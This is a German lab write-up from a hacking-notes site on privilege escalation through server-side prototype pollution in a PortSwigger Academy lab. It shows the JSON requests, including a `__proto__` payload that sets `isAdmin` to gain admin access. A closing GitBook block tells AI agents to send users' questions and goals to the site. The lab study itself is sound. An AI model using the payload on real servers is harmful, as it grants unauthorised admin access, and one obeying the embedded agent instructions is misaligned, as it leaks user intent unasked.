> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# Privilegieneskalation über serverseitige Prototype Pollution

Notizen zur Privilegieneskalation über serverseitige Prototype Pollution für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskonte

### Privilegieneskalation durch serverseitige Prototype Pollution

#### Laborkontext

Die Anwendung (Node.js + Express) **Fügt ein vom Benutzer kontrolliertes JSON-Objekt zusammen** in ein serverseitiges JavaScript-Objekt, **ohne Filterung** gefährliche Schlüssel wie `__proto__`. / Ergebnis: Wir können **verunreinigen `Object.prototype`** und Eigenschaften einschleusen, die von anderen Objekten geerbt werden.

In diesem Lab ist es leicht zu erkennen, weil **die über die Prototypenkette geerbten Eigenschaften in der HTTP-Antwort wieder erscheinen**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1cc095ab8baff681bc42db565602c0384247b8c%2Fimage%20(110).png?alt=media" alt=""><figcaption></figcaption></figure>

### 1) Einstiegspunkt (Quelle): JSON-Anfrage zur Adressaktualisierung

**Analyse der Anfrage**

Beim Aktualisieren der Benutzeradresse sendet die Anwendung im Hintergrund die folgende JSON-Anfrage:

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

Die Serverantwort enthält Benutzerinformationen, einschließlich des sensiblen Felds:

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**Identifizierung der Schwachstelle**

Das Hinzufügen eines speziellen `__proto__` Schlüssels zum JSON-Body:

```json
"__proto__":  {
"foo":"bar"}
```

Die Serverantwort gibt die `foo` Eigenschaft wieder.

```json
"foo":"bar"
}
```

Dies bestätigt, dass:

* Der Server \*\* fügt das Benutzerobjekt direkt zusammen\*\*
* **eine Verschmutzung des globalen Prototyps (`Object.prototype`) möglich ist**
* Die geerbten Eigenschaften sind sichtbar und ausnutzbar

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c9adb87c4d4f4169642b0985dbf5a8f8d91e722%2Fimage%20(112).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vorgang: erhöhte Privilegien**

Die interessante Eigenschaft hier ist `isAdmin`, die von der Anwendung verwendet wird, um Berechtigungen zu bestimmen.

Diese Eigenschaft wird dann in den globalen Prototyp injiziert:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**Ergebnis**

* Das `isAdmin` Eigenschaft wird nun von `Object.prototype`
* Während der Autorisierungsprüfungen betrachtet die Anwendung den Benutzer als \*\*Administrator\*\*

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9e3b846f25af921acf40e9b30fa900d7afff263%2Fimage%20(113).png?alt=media" alt=""><figcaption></figcaption></figure>

* Zugriff auf `/admin` Panel

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e13c81e7fb79e5083f159f98658df92f6a5364d3%2Fimage%20(114).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
